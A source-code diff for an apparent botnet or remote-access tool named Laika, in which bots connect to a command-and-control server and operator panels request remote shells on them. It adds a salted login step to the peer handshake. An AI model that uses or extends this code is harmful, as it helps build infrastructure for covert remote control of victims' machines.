diff --git a/CMakeLists.txt b/CMakeLists.txt index b64a5e7..5f31ed6 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -81,7 +81,7 @@ endif () # version details set(LAIKA_VERSION_MAJOR 0) -set(LAIKA_VERSION_MINOR 3) +set(LAIKA_VERSION_MINOR 4) message(STATUS "Building config file...") configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h) diff --git a/bot/src/bot.c b/bot/src/bot.c index 31de2ca..c6e6007 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -8,10 +8,21 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot *)uData; + uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN]; uint8_t endianness = laikaS_readByte(&peer->sock); + laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN); peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + + /* set peer salt */ + laikaS_setSalt(peer, saltBuf); + + /* sent PEER_LOGIN packet */ + laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ); + laikaS_writeByte(&peer->sock, PEER_BOT); + laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN); + laikaS_endOutPacket(peer); + LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE")); } @@ -29,7 +40,7 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, laikaB_handleHandshakeResponse, - sizeof(uint8_t), + sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, laikaB_handlePing, diff --git a/cnc/include/cpanel.h b/cnc/include/cpanel.h index 331185d..76c2e61 100644 --- a/cnc/include/cpanel.h +++ b/cnc/include/cpanel.h @@ -4,11 +4,10 @@ #include "cnc.h" #include "lpeer.h" +void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer); void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot); -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, - void *uData); void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, diff --git a/cnc/include/cpeer.h b/cnc/include/cpeer.h index ada6fbf..646fa5a 100644 --- a/cnc/include/cpeer.h +++ b/cnc/include/cpeer.h @@ -53,6 +53,7 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell); void laikaC_closeShells(struct sLaika_peer *peer); void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +void laikaC_handlePeerLoginReq(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 9868d9a..ef5a7b1 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -84,12 +84,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v /* queue response */ laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES); laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); + laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN); laikaS_endOutPacket(peer); - /* handshake (mostly) complete */ - laikaC_onAddPeer(cnc, peer); - - LAIKA_DEBUG("accepted handshake from peer %p\n", peer); + /* handshake (mostly) complete, we now wait for the PEER_LOGIN packets */ } void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) @@ -113,9 +111,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) laikaC_handlePing, \ 0, \ false), \ - LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \ - laikaC_handleAuthenticatedHandshake, \ - sizeof(uint8_t), \ + LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PEER_LOGIN_REQ, \ + laikaC_handlePeerLoginReq, \ + sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \ false) struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = { @@ -217,17 +215,21 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) int i; GETPINFOFROMPEER(peer)->completeHandshake = true; - /* add peer to panels list (if it's a panel) */ - if (peer->type == PEER_AUTH) - laikaC_addAuth(cnc, peer); + /* add to peer lookup map */ + hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); /* notify connected panels of the newly connected peer */ for (i = 0; i < cnc->authPeersCount; i++) { laikaC_sendNewPeer(cnc->authPeers[i], peer); } - /* add to peer lookup map */ - hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer}); + /* add peer to panels list (if it's a panel) */ + if (peer->type == PEER_AUTH) { + laikaC_addAuth(cnc, peer); + + /* send a list of peers */ + laikaC_sendPeerList(cnc, peer); + } } void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) diff --git a/cnc/src/cpanel.c b/cnc/src/cpanel.c index e1af240..ef96c81 100644 --- a/cnc/src/cpanel.c +++ b/cnc/src/cpanel.c @@ -18,6 +18,11 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) return true; } +void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) +{ + laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer); +} + void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) { laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES); @@ -46,33 +51,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) /* ================================[[ [Auth] Packet Handlers ]]================================= */ -void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, - void *uData) -{ - struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; - struct sLaika_cnc *cnc = pInfo->cnc; - PEERTYPE type; - int i; - - type = laikaS_readByte(&authPeer->sock); - switch (type) { - case PEER_AUTH: - /* check that peer's pubkey is authenticated */ - if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount)) - LAIKA_ERROR("unauthorized panel!\n"); - - /* notify cnc */ - laikaC_setPeerType(cnc, authPeer, PEER_AUTH); - LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer); - - /* they passed! send list of our peers */ - laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer); - break; - default: - LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type); - } -} - void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) { diff --git a/cnc/src/cpeer.c b/cnc/src/cpeer.c index e09cc15..b1e6f41 100644 --- a/cnc/src/cpeer.c +++ b/cnc/src/cpeer.c @@ -129,6 +129,42 @@ void laikaC_closeShells(struct sLaika_peer *peer) /* ================================[[ [Peer] Packet Handlers ]]================================= */ +void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN]; + struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; + struct sLaika_cnc *cnc = pInfo->cnc; + PEERTYPE type; + int i; + + /* read packet */ + type = laikaS_readByte(&peer->sock); + laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN); + + /* make sure the sent salt matches our copy (make sure they're not replaying packets) */ + if (memcmp(saltBuf, peer->salt, LAIKA_HANDSHAKE_SALT_LEN)) + LAIKA_ERROR("laikaC_handlePeerHandshake: Salt mismatch!\n"); + + switch (type) { + case PEER_BOT: + laikaC_setPeerType(cnc, peer, PEER_BOT); + break; + case PEER_AUTH: + /* check that peer's pubkey is authenticated */ + if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount)) + LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n"); + + /* notify cnc */ + laikaC_setPeerType(cnc, peer, PEER_AUTH); + LAIKA_DEBUG("Accepted authenticated panel %p\n", peer); + break; + default: + LAIKA_ERROR("Unknown peerType [%d]!\n", type); + } + + LAIKA_DEBUG("Peer login for %p accepted!\n", peer); +} + void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData; diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 5c53780..4bfe185 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -15,6 +15,8 @@ #define LAIKA_SHELL_DATA_MAX_LENGTH 2048 #define LAIKA_MAX_SHELLS 16 +#define LAIKA_HANDSHAKE_SALT_LEN 32 + /* first handshake between peer & cnc works as so: - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & @@ -44,19 +46,29 @@ enum * LAIKAPKT_SIZE pktSize; * LAIKAPKT_ID pktID; */ - LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */ + LAIKAPKT_HANDSHAKE_REQ, + /* first packet sent by peer & received by cnc */ /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!! * uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC * uint8_t majorVer; * uint8_t minorVer; * uint8_t osType; - * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted - * nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char - * inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes) + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key + * char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) + * char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes) */ LAIKAPKT_HANDSHAKE_RES, /* layout of LAIKAPKT_HANDSHAKE_RES: * uint8_t cncEndian; + * uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN]; + */ + LAIKAPKT_PEER_LOGIN_REQ, + /* second packet sent by peer & received by cnc there is no response packet. the socket + connection will be closed if an unexpected peer type is provided. this is to prove that the peer + is the public key they say they are. */ + /* layout of LAIKAPKT_PEER_LOGIN_REQ + * uint8_t peerType; + * uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN]; */ LAIKAPKT_PINGPONG, /* layout of LAIKAPKT_PINGPONG: @@ -78,12 +90,8 @@ enum * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; */ /* =======================================[[ Auth ]]======================================== */ - LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). - there is no response packet */ - /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ - * uint8_t peerType; - */ - LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */ + LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, + /* notification that a peer has connected to the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * char hostname[LAIKA_HOSTNAME_LEN]; @@ -92,14 +100,15 @@ enum * uint8_t peerType; * uint8_t osType; */ - LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc - */ + LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, + /* notification that a peer has disconnected from the cnc */ /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; */ - LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no - response packet, shell is assumed to be open */ + LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, + /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be + * open */ /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint16_t cols; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 37f76c7..8b3d9df 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -51,6 +51,7 @@ struct sLaika_peer uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; + uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */ struct sLaika_pollList *pList; /* pollList we're activeList in */ struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */ void *uData; /* data to be passed to pktHandler */ @@ -68,6 +69,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, void *onPollFailUData, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); +void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt); +void laikaS_genSalt(struct sLaika_peer *peer); + void laikaS_setSecure(struct sLaika_peer *peer, bool flag); void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */ diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c index 7d46d12..71e44fa 100644 --- a/lib/src/lpacket.c +++ b/lib/src/lpacket.c @@ -6,11 +6,11 @@ const char *laikaD_getPacketName(LAIKAPKT_ID id) const char *PKTNAMES[] = {"LAIKAPKT_VARPKT", "LAIKAPKT_HANDSHAKE_REQ", "LAIKAPKT_HANDSHAKE_RES", + "LAIKAPKT_PEER_LOGIN_REQ", "LAIKAPKT_PINGPONG", "LAIKAPKT_SHELL_OPEN", "LAIKAPKT_SHELL_CLOSE", "LAIKAPKT_SHELL_DATA", - "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"}; diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index a8b5c95..f90ac2c 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, memset(peer->inet, 0, LAIKA_INET_LEN); memset(peer->ipStr, 0, LAIKA_IPSTR_LEN); + /* generate peer's salt */ + laikaS_genSalt(peer); + return peer; } @@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer) laikaM_free(peer); } +void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt) +{ + memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN); +} + +void laikaS_genSalt(struct sLaika_peer *peer) +{ + randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN); +} + /* ===================================[[ Start/End Packets ]]=================================== */ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) diff --git a/shell/src/sclient.c b/shell/src/sclient.c index da89f82..34e3019 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -41,9 +41,21 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN]; uint8_t endianness = laikaS_readByte(&peer->sock); + laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN); + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + /* set peer salt */ + laikaS_setSalt(peer, saltBuf); + + /* send PEER_LOGIN packet */ + laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ); + laikaS_writeByte(&peer->sock, PEER_AUTH); + laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN); + laikaS_endOutPacket(peer); + PRINTSUCC("Handshake accepted!\n"); } @@ -155,7 +167,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES, shellC_handleHandshakeRes, - sizeof(uint8_t), + sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, false), LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, shellC_handlePing, @@ -280,12 +292,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) laikaS_endOutPacket(client->peer); laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */ - /* queue authenticated handshake request */ - laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); - laikaS_writeByte(sock, PEER_AUTH); - laikaS_endOutPacket(client->peer); - - /* the handshake requests will be sent on the next call to shellC_poll */ + /* the handshake request will be sent on the next call to shellC_poll */ } bool shellC_poll(tShell_client *client, int timeout)